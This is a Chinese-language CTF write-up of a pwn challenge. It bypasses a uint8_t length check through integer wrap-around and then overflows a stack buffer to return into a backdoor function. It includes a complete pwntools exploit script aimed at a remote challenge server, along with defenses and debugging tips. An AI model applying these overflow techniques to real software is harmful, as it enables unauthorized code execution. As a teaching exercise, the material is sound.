1. 漏洞分析与利用思路拆解
这个二进制程序存在典型的栈溢出漏洞,结合无符号整型回绕(integer wrap-around)的特性,我们可以构造特定的payload来实现控制流劫持。整个攻击过程需要解决两个关键问题:
1.1 绕过长度检查机制
程序在check_passwd函数中使用了无符号8位整型(uint8_t)变量v3来存储密码长度。根据C语言规范,uint8_t的取值范围是0-255。当输入长度超过255时会发生整数回绕:
uint8_t v3 = strlen(input); if (v3 <= 3 || v3 > 8) { puts("Invalid Password"); return 0; }要绕过这个检查,我们需要让v3的值落在4-8之间。通过计算可知:
- 259 % 256 = 3 → 实际存储为3(不满足)
- 260 % 256 = 4 → 满足条件
- ...
- 264 % 256 = 8 → 满足条件
因此payload的总长度需要严格控制在260-264字节之间(即0x104-0x108)。
1.2 栈溢出利用点分析
在通过长度检查后,程序会执行不安全的srcpy()函数(模拟的strcpy):
char dest[0x14]; // 20字节缓冲区 srcpy(dest, s); // 无长度检查的拷贝通过IDA反汇编可以看到栈布局:
-0000000000000014 dest db 20 dup(?) +0000000000000000 s db 8 dup(?) +0000000000000008 r db 4 dup(?) // 保存的ebp +000000000000000C return_address要覆盖返回地址,需要:
- 填满20字节的dest缓冲区
- 覆盖4字节的保存ebp
- 覆盖4字节的返回地址
总计需要覆盖28字节(0x14+4)后才能控制EIP。
2. 漏洞利用实战步骤
2.1 环境准备与基础信息收集
首先使用checksec检查程序保护机制:
checksec --file=pwn [*] '/tmp/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)关键信息:
- 32位程序
- 没有栈保护(Canary)
- 未开启地址随机化(PIE)
- 存在后门函数
what_is_this
2.2 攻击payload构造
完整的攻击流程需要构造特定长度的payload:
from pwn import * context(arch='i386', os='linux', log_level='debug') # 计算关键偏移量 dest_padding = 0x14 # dest缓冲区大小 ebp_padding = 4 # 保存的ebp total_offset = dest_padding + ebp_padding backdoor_addr = 0x80491b6 # what_is_this函数地址 # 构造基础payload payload = b'A' * total_offset payload += p32(backdoor_addr) # 调整总长度到0x104-0x108之间 payload = payload.ljust(0x104, b'B')这里有几个关键点需要注意:
ljust()方法确保最终payload长度为0x104字节(260)- 填充字符建议使用可打印字符方便调试
- 地址需要小端序格式打包
2.3 完整攻击脚本
#!/usr/bin/env python3 from pwn import * elf = context.binary = ELF('./pwn') libc = elf.libc def start(): if args.REMOTE: return remote('61.147.171.103', 59035) else: return process(elf.path) p = start() # 第一阶段:通过菜单选择 p.sendlineafter(b'choice', b'1') # 第二阶段:输入用户名(任意值) p.sendlineafter(b'username', b'dummy_user') # 第三阶段:发送精心构造的payload payload = flat( b'A'*(0x14+4), elf.symbols['what_is_this'], filler=b'B', length=0x104 ) p.sendlineafter(b'passwd', payload) p.interactive()3. 技术细节深度解析
3.1 无符号整型回绕原理
在C语言中,无符号整型溢出会导致数值回绕(wrap around)。对于uint8_t:
uint8_t a = 255; a += 1; // a现在为0 a = 256; // 实际存储为0 a = 259; // 实际存储为3 (259 % 256)这种特性常被用于:
- 密码学算法中的模运算
- 循环缓冲区索引计算
- 网络协议中的序列号处理
但在安全检查中,如果没有正确处理,就会导致安全漏洞。
3.2 栈帧布局与覆盖策略
在32位系统中,函数调用时的典型栈布局:
高地址 |----------------| | 参数n | | ... | | 参数1 | | 返回地址 | ← 我们要覆盖的目标 | 保存的ebp | ← 覆盖0x14+0x4处 |----------------| | 局部变量 | ← dest缓冲区开始 低地址通过覆盖返回地址,我们可以劫持控制流,让程序跳转到任意地址(如后门函数)。
4. 防御方案与安全编程实践
4.1 安全编程建议
使用安全的字符串函数:
// 不安全 strcpy(dest, src); // 安全替代 strncpy(dest, src, sizeof(dest)-1); dest[sizeof(dest)-1] = '\0';长度检查前置条件:
if(strlen(input) >= sizeof(buffer)) { return ERROR; }使用带长度限制的输入函数:
fgets(buffer, sizeof(buffer), stdin);
4.2 现代防护技术
栈保护(Stack Canary):
gcc -fstack-protector-all -o safe_program vuln.c地址随机化(ASLR):
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space不可执行栈(NX):
gcc -z noexecstack -o safe_program vuln.c
5. 扩展思考与变种挑战
5.1 当存在栈保护时如何利用
如果程序编译时加入了-fstack-protector,我们需要:
- 泄漏canary值
- 在payload中保持canary不变
- 精确覆盖返回地址
典型payload结构:
[填充buf][canary][保存ebp][返回地址]5.2 64位环境下的差异
64位程序需要注意:
- 地址变为8字节
- 参数传递可能通过寄存器
- 栈对齐要求(16字节对齐)
典型payload结构:
[填充buf][保存rbp][返回地址]5.3 没有后门函数的情况
当程序没有现成的后门函数时,可以考虑:
- 返回到libc中的system函数
- 构造ROP链
- 使用one-gadget
示例:
# 泄漏libc地址 puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] main_addr = elf.symbols['main'] payload1 = flat( b'A'*offset, puts_plt, main_addr, puts_got )6. 调试技巧与问题排查
6.1 GDB调试关键命令
gdb ./pwn -q b *0x8049234 # 在check_passwd函数设断点 r <<< $(python3 exploit.py) x/40wx $esp # 查看栈内存 info frame # 查看栈帧信息6.2 常见问题与解决方案
Segmentation Fault:
- 检查payload长度是否正确
- 验证返回地址是否对齐
- 确认地址是否可执行
程序提前退出:
- 检查长度检查是否被绕过
- 确认输入是否包含意外字符(如\n)
控制流未按预期跳转:
- 使用gdb逐步执行
- 检查栈内容是否被正确覆盖
- 验证返回地址是否被正确写入
7. 二进制安全学习路径建议
基础阶段:
- C语言指针与内存管理
- x86汇编基础
- Linux系统调用
工具掌握:
- GDB调试技巧
- IDA Pro/Ghidra反编译
- pwntools使用
进阶内容:
- ROP链构造
- 堆利用技巧
- 内核漏洞利用
推荐学习资源:
- 《漏洞利用开发实战》
- LiveOverflow YouTube频道
- CTF比赛中的pwn题目